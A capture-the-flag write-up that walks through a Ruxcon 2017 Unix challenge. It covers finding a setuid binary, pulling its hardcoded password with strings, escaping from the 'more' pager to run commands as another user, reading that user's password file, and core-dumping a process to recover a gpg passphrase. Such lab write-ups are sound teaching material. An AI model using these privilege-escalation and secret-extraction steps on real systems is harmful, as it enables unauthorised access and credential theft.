Ruxcon CTF 2017 – Unix2 Write-up

This is my write up for the second Unix challenge at the Ruxcon 2017 security conference capture the flag (CTF).

The challenge was called ‘Bit early in the morning for kungfu’ and was worth 300 points.

Upon SSHing to the provided IP address as the jimbob user, we can see that there is one other user called kungfu-steve.

jimbob@toilethumour2-r2flk:~$ cat /etc/passwd
jimbob:x:1000:1000:,,,:/home/jimbob:/usr/bin/mon
kungfu-steve:x:999:999:,,,:/home/kungfu-steve:/bin/bash

Within kungfu-steve’s home directory we notice the following files, which jimbob cannot currently access. The document.txt.gpg file appears to be encrypted, so we’ll likely need a password for that.

/home/kungfu-steve/newsletter.txt
/home/kungfu-steve/password.txt
/home/kungfu-steve/ps.txt
/home/kungfu-steve/document.txt.gpg

I noticed this was at the bottom of the user’s .bashrc file within their home directory.

/tmp/decrypt_agent < /dev/null >& /dev/null
shopt -s huponexit
rm /tmp/decrypt_agent

For context, every time you SSH’d to the IP address it appeared to be a fresh docker container, and the .bashrc contents would execute when the kungfu-steve user logs in, removing the /tmp/decrypt_agent file. It was not possible to access /proc at all or install anything, so it did not appear possible to easily restore the file.

Next I ran a search looking for setuid/setgid files.

jimbob@toilethumour2-r2flk:/home/kungfu-steve$ find / -perm -u=s -type f 2>/dev/null
/bin/mount
/bin/umount
/usr/bin/KS_NEWS

KS_NEWS sounds interesting, let’s take a look.

jimbob@toilethumour2-r2flk:/home/kungfu-steve$ strings /usr/bin/KS_NEWS
WELCOME TO KUNGFU-DAVE'S TERMINAL BASED NEWZLETTER.
STRICTLY FOR ALPHAZ
FIRST THINGZ FIRST BROSKI, WHAT'S THE PASSWORD:
ALPHADAWG
more /home/kungfu-steve/newsletter.txt
Sorry bro.
...snip...

When we execute KS_NEWS, we get asked for a password, which we can easily see above is ‘ALPHADAWG’.

jimbob@toilethumour2-r2flk:/usr/bin$ KS_NEWS
WELCOME TO KUNGFU-DAVE'S TERMINAL BASED NEWZLETTER.
STRICTLY FOR ALPHAZ
FIRST THINGZ FIRST BROSKI, WHAT'S THE PASSWORD: ALPHADAWG
WELCOME TO KUNGFU-STEVE'S NEWSLETTER

This then showed the contents of the /home/kungfu-steve/newsletter.txt file, which we didn’t previously have access to as the jimbob user, as KS_NEWS is running as the kungfu-steve user owing to the setuid bit on the binary.

From within the more interface we can execute commands, as shown below we can see that we are indeed running commands as kungfu-steve.

!id
uid=999(kungfu-steve) gid=1000(jimbob) groups=1000(jimbob)

Great, with our new found powers let’s take a look at those files in /home/kungfu-steve that we previously were not able to access.

!cat /home/kungfu-steve/password.txt
shells: roundhousebadboy

!cat /home/kungfu-steve/ps.txt
  PID TTY      	TIME CMD
	1 pts/1	00:00:00 mon
	2 pts/1	00:00:00 bash
   13 pts/1	00:00:00 ps

The password found within password.txt could then be used to SSH into the same system as kungfu-steve, although we could also run ‘!bash’ from within the more interface to get a shell.

The password does not allow us to decrypt the document.txt.gpg file.

I struggled with the next part for a few hours, and with a small hint realised that the /tmp/decrypt_agent in the user’s .bashrc might still be running. The ps.txt file indicates that when ps was executed it was the 13th process run by the user. We can see process 1 and 2, so perhaps there are other processes not listed between 2 and 13.

After some investigation, I learn that you can use the kill command with the -3 flag (SIGQUIT) to create a core dump of the process, so a dump of the processes memory. I stepped up from process 3 incrementally, receiving messages that the process ID specified did not exist, until I hit process 8.

jimbob@toilethumour2-46qsb:~$ kill -3 8

This then created core.decrypt_agent.8.1508563432 within my current working directory.

After running strings on the file we can see various information, the most interesting being a base64 string.

jimbob@toilethumour2-46qsb:~$ strings core.decrypt_agent.8.1508563432
...snip...
YnJlYWt0aGV3cmlzdGFuZHRoZW53YWxrYXdheQ==

Decoding this results in the following:

breakthewristandthenwalkaway

We can then use gpg to decrypt the contents of the document.txt.gpg file, using this as the password.

kungfu-steve@toilethumour2-46qsb:~$ gpg --decrypt document.txt.gpg
gpg: directory `/home/kungfu-steve/.gnupg' created
gpg: new configuration file `/home/kungfu-steve/.gnupg/gpg.conf' created
gpg: WARNING: options in `/home/kungfu-steve/.gnupg/gpg.conf' are not yet active during this run
gpg: keyring `/home/kungfu-steve/.gnupg/secring.gpg' created
gpg: keyring `/home/kungfu-steve/.gnupg/pubring.gpg' created
gpg: AES encrypted data
gpg: encrypted with 1 passphrase
Flag{8a63d4c6-89f9-11e7-9616-1f5567e6709c}

As expected the encrypted file contained the flag for the challenge.

After the CTF was over I spoke to some others who solved the challenge a few different ways, one of which was that with SSH you can specify an option to ignore the .bashrc file, preventing it from running. This essentially prevented the removal of /tmp/decrypt_agent when SSHing in as kungfu-steve as each new SSH connection was a fresh docker container, so the file could be analysed directly without dumping memory that way.

Leave a Comment

NOTE - You can use these HTML tags and attributes:
<a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>